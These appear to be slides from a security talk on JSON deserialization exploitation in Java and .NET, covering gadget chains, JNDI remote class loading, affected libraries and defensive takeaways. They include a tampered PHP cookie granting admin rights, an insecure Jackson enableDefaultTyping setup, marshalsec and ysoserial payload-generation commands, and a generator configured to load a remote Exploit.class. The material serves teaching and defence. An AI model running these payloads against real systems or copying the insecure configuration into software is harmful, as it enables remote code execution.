JSON DE.Serialization EXPLOITATION

RCE BY DESIGN
CONTENTS

1. Introduction
2. Basics
3. Exploitation
4. Summary / Further Research
Introduction

- DefCon 2017: “Friday the 13th: JSON Attacks” [1]
- Slides quite rightly point out: 2016 was the “year of Java Deserialization apocalypse”
- In the age of RESTful APIs and microservice architecture, the transmission of objects shifts to a JSON or XML serialized form
- Usage of JSON or XML more secure?
Moritz Bechler published a paper about deserialization vulnerabilities (focused on Java JSON and XML) [5].

.Net serialization libraries are affected as well [6].

Insecure Deserialization

Example Attack Scenarios

Scenario #1: A React app calls a set of Spring Boot microservices. Being functional programmers, they tried to ensure that their code is immutable. The solution they came up with is serializing user state and passing it back and forth with each request. An attacker notices the "R00" Java object signature, and uses the Java Serial Killer tool to gain remote code execution on the application server.

Scenario #2: A PHP forum uses PHP object serialization to save a "super" cookie, containing the user's user ID, role, password, and other state:

```java
a:4:{i:0;i:132;i:1:s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
```

An attacker changes the serialized object to give themselves admin privileges:

```java
a:4:{i:0;i:1:i:1:s:5:"Alice";i:2:s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
```

References

OWASP
- [OWASP Deserialization Cheat Sheet](#)
- [OWASP Proactive Controls - Validate All Inputs](#)
- [OWASP Application Security Verification Standard](#)
- [OWASP AppSecEU 2016: Surviving the Java Deserialization Apocalypse](#)

External
- [CWE-502: Deserialization of Untrusted Data](#)
- [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](#)
- [https://github.com/mbechler/marshalsec](#)
```java
public class Dummy {
    public int id;
    public Object object;

    public int getId() {
        return id;
    }
}

default T parseJackson(Class<T> clazz, String json) throws IOException {
    ObjectMapper mapper = new ObjectMapper();

    mapper.enableDefaultTyping();
    mapper.configure(JsonParser.Feature.ALLOW_UNQUOTED_FIELD_NAMES, true);

    T object = mapper.readValue(json, clazz);

    return object;
}
```
**BASICS**

- JSON marshallers should be able to reconstruct the object using the details present in JSON data

- unmarshaller creates a new object (allocates space in memory)
  - using the default (parameterless) constructor
  - reflection to populate all fields or property members

- JSON libraries need to reconstruct objects by either:
  - Calling default constructor and using reflection to set field values
  - Calling default constructor and calling setters to set field values
  - Calling “special” constructors, type converters or callbacks
  - Calling common methods such as: `hashCode()`, `toString()`, `equals()`, `finalize()`, ...
public AnnotatedMember getMember() { return this._annotated; }

public void deserializeAndSet(JsonParser p, DeserializationContext ctxt, Object instance) throws IOException {
    Object value = this.deserialize(p, ctxt);
    this._setter.invoke(instance, value);
    catch (Exception var6) {
        throwAsIOE(p, var6, value);
    }
}

public Object deserializeSetAndReturn(JsonParser p, DeserializationContext ctxt, Object instance) throws IOException {
    Object value = this.deserialize(p, ctxt);
    try {
        Object result = this._setter.invoke(instance, value);
        return result;
    }
}
BASICS

- JSON libraries invoked setters to populate object fields

- [5] and [6] focused their analysis on finding types with setters that could lead to arbitrary code execution (Java & .Net)

---

**FastJSON**
Project Site: https://github.com/mgholam/fastJSON
NuGet Downloads: 71,889

FastJson includes type discriminators by default which allows attackers to send arbitrary types. It performs a weak type control by casting the deserialized object to the expected type when object has already been deserialized.

During deserialization, it will call:
- Setters

Should never be used with untrusted data since it cannot be configured in a secure way.
<table>
<thead>
<tr>
<th>Library</th>
<th>Language</th>
<th>Technologie</th>
</tr>
</thead>
<tbody>
<tr>
<td>FastJSON</td>
<td>.NET</td>
<td>JSON</td>
</tr>
<tr>
<td>Json.Net</td>
<td>.NET</td>
<td>JSON</td>
</tr>
<tr>
<td>FSPickler</td>
<td>.NET</td>
<td>JSON</td>
</tr>
<tr>
<td>Sweet.Jayson</td>
<td>.NET</td>
<td>JSON</td>
</tr>
<tr>
<td>JavascriptSerializer</td>
<td>.NET</td>
<td>JSON</td>
</tr>
<tr>
<td>DataContractJsonSerializer</td>
<td>.NET</td>
<td>JSON</td>
</tr>
<tr>
<td>Jackson</td>
<td>Java</td>
<td>JSON</td>
</tr>
<tr>
<td>Genson</td>
<td>Java</td>
<td>JSON</td>
</tr>
<tr>
<td>JSON-IO</td>
<td>Java</td>
<td>JSON</td>
</tr>
<tr>
<td>FlexSON</td>
<td>Java</td>
<td>JSON</td>
</tr>
<tr>
<td>SnakeYAML (YAML)</td>
<td>Java</td>
<td>YAML</td>
</tr>
<tr>
<td>jYAML (YAML)</td>
<td>Java</td>
<td>YAML</td>
</tr>
<tr>
<td>YamlBeans (YAML)</td>
<td>Java</td>
<td>YAML</td>
</tr>
<tr>
<td>Apache Flex BlazeDS (AMF4)</td>
<td>Java</td>
<td>AMF4</td>
</tr>
<tr>
<td>Red5 IO AMF (AMF)</td>
<td>Java</td>
<td>AMF</td>
</tr>
<tr>
<td>Castor (XML)</td>
<td>Java</td>
<td>XML</td>
</tr>
<tr>
<td>Java XMLDecoder (XML)</td>
<td>Java</td>
<td>XML</td>
</tr>
<tr>
<td>Java Serialization (binary)</td>
<td>Java</td>
<td>binary</td>
</tr>
<tr>
<td>Kryo (binary)</td>
<td>Java</td>
<td>binary</td>
</tr>
<tr>
<td>Hessian/Burlap (binary/XML)</td>
<td>Java</td>
<td>binary/XML</td>
</tr>
<tr>
<td>XStream (XML/various)</td>
<td>Java</td>
<td>XML/Various</td>
</tr>
</tbody>
</table>
Basics – Gadgets/Payload

- Bean property based marshallers gadgets
  - call setter methods which means that far more code can be triggered directly during unmarshalling

---

### 4.2 `com.sun.rowset.JdbcRowSetImpl`

<table>
<thead>
<tr>
<th>Applies to</th>
</tr>
</thead>
<tbody>
<tr>
<td>SnakeYAML (3.1.1), jYAML (3.1.2), Red5 (3.1.5), Jackson (3.1.6)</td>
</tr>
</tbody>
</table>

From the Oracle/OpenJDK standard library. Implements `java.io.Serializable`, has a default constructor, the used properties also have getters. Two correctly ordered setter calls are required for code execution.

1. Set the 'dataSourceName' property to the JNDI URI (see 4.1.2).
2. Set the 'autoCommit' property.
3. This will result in a call to `connect()`.
4. Which calls `InitialContext->lookup()` with the provided JNDI URI.
### BASICS – GADGETS/PAYLOADS

<table>
<thead>
<tr>
<th>Class</th>
</tr>
</thead>
<tbody>
<tr>
<td>com.sun.rowset.JdbcRowSetImpl</td>
</tr>
<tr>
<td>java.util.ServiceLoader$LazyIterator</td>
</tr>
<tr>
<td>com.sun.jndi.rmi.registry.BindingEnumeration</td>
</tr>
<tr>
<td>com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl</td>
</tr>
<tr>
<td>javax.imageio.ImageIO$ContainsFilter</td>
</tr>
<tr>
<td>Commons Configuration JNDIConfiguration</td>
</tr>
<tr>
<td>C3P0 JndiRefForwardingDataSource</td>
</tr>
<tr>
<td>C3P0 WrapperConnectionPoolDataSource</td>
</tr>
<tr>
<td>Spring Beans PropertyPathFactoryBean</td>
</tr>
<tr>
<td>Spring AOP PartiallyComparableAdvisorHolder</td>
</tr>
<tr>
<td>Spring AOP AbstractBeanFactoryPointcutAdvisor</td>
</tr>
<tr>
<td>Spring DefaultListableBeanFactory</td>
</tr>
<tr>
<td>Apache XBean</td>
</tr>
<tr>
<td>Cauchlo Resin</td>
</tr>
<tr>
<td>javax.script.ScriptEngineManager</td>
</tr>
<tr>
<td>Commons Beanutils BeanComparator</td>
</tr>
<tr>
<td>ROME EqualsBean/ToStringBean</td>
</tr>
<tr>
<td>Groovy Expando/MethodClosure</td>
</tr>
<tr>
<td>sun.rmi.server.UnicastRef(2)</td>
</tr>
<tr>
<td>java.rmi.server.UnicastRemoteObject</td>
</tr>
</tbody>
</table>
Moritz Bechler published a payload generator based on his previous work

- [https://github.com/mbechler/marshalsec/](https://github.com/mbechler/marshalsec/)

Payload Generation via marshal

```
java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Jackson -a -v
java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.JsonIO -a -v
```
• Payload Generation via marko-marshal [8]

```java
URI jndiUrl = new URI("rmi://localhost:1069/Exploit");

Configuration c = Configuration
    .create()
    .all(true)
    .codebase("http://localhost:31337/")
    .codebaseClass("Exploit.class")
    .JNDIUrl(jndiUrl)
    .escapeType(EscapeType.NONE)
    .executable("C:\Windows\notepad.exe", "")
    .gadgetType(GadgetType.SpringPropertyPathFactory)
    .build();

MarshalsecFactory factory = new MarshalsecFactory(c);

List<MarshalPayloads> allPayloads = factory.allPayloads();

allPayloads.forEach(payload ->
    payload.getPayloads().values().forEach(
        System.out::println)
);
```
JNDI Exploitation – Basics

- JNDI is the Java Interface to interact with Naming and Directory Services
- offers a single common interface to interact with disparate Naming and Directory services such as
  - Remote Method Invocation (RMI)
  - Lightweight Directory Access Protocol (LDAP),
  - Active Directory,
  - Domain Name System (DNS),
  - Common Object Request Broker Architecture (CORBA),
  - etc.
JNDI Exploitation – Basics [9]

- Java Virtual Machine (JVM) allows loading of custom classes from a remote source without any restrictions
EXPLOITATION

- RMI Exploitation [9] - Java remote method invocation
- RMI Exploitation [9] - Java remote method invocation

```java
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
   "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
   "rmi://localhost:1099");
Context ctx = new InitialContext(env);
```
RMI Exploitation – Limitation

- Java 8u121 finally added that codebase restriction, but only for RMI at this point

<table>
<thead>
<tr>
<th>Provider</th>
<th>Property to enable remote class loading</th>
<th>Security Manager enforcement</th>
</tr>
</thead>
<tbody>
<tr>
<td>RMI</td>
<td>java.rmi.server.useCodebaseOnly = false (default value = true since JDK 7u21)</td>
<td>Always</td>
</tr>
<tr>
<td>LDAP</td>
<td>com.sun.jndi.ldap.object.trustURLCodebase = true (default value = false)</td>
<td>Not enforced</td>
</tr>
<tr>
<td>CORBA</td>
<td></td>
<td>Always</td>
</tr>
</tbody>
</table>

**Table 1: Remote Class Loading**
DEMO TIME

EXPLOITATION

- All serializers need to reconstruct objects and will normally invoke methods

- Problem is not limited to Java (e.g. BinaryFormatter in .Net)

   ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -base64 -c "ping 10.0.0.19" > execute-ping.txt

Quelle: https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-014/-cyberark-password-vault-web-access-remote-code-execution
SUMMARY / FURTHER WORK

- JSON is not safe

- Security by design: identify the use of known vulnerable components

- Other libraries? (Vert.x)

- Burp Plugin (Burp Collaborator)
SUMMARY / FURTHER WORK ??

- One year later...
  - [11]: Published date: 07 June 2018
  - https://github.com/nccgroup/freddy
SUMMARY / FURTHER WORK

- JSON is not safe
- Other libraries? (Vert.x)
- Pentest view? BOSCH & AXA
- Burp Plugin (Burp Collaborator)
Notable exceptions without this kind of behavior:

- **JAXB** implementations generally require that all types used are registered. Mechanisms that require schema definitions or compilation (e.g. XmlBeans, Jibx, Protobuf).
- **GSON** requires specifying a root type, honors property types and the mechanism for polymorphism requires registration.
- **GWT-RPC** generally does use supplied type information, but automatically builds a whitelist.
FIN
REFERENCES


[9] https://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%E5%88%A9%E7%94%A8/
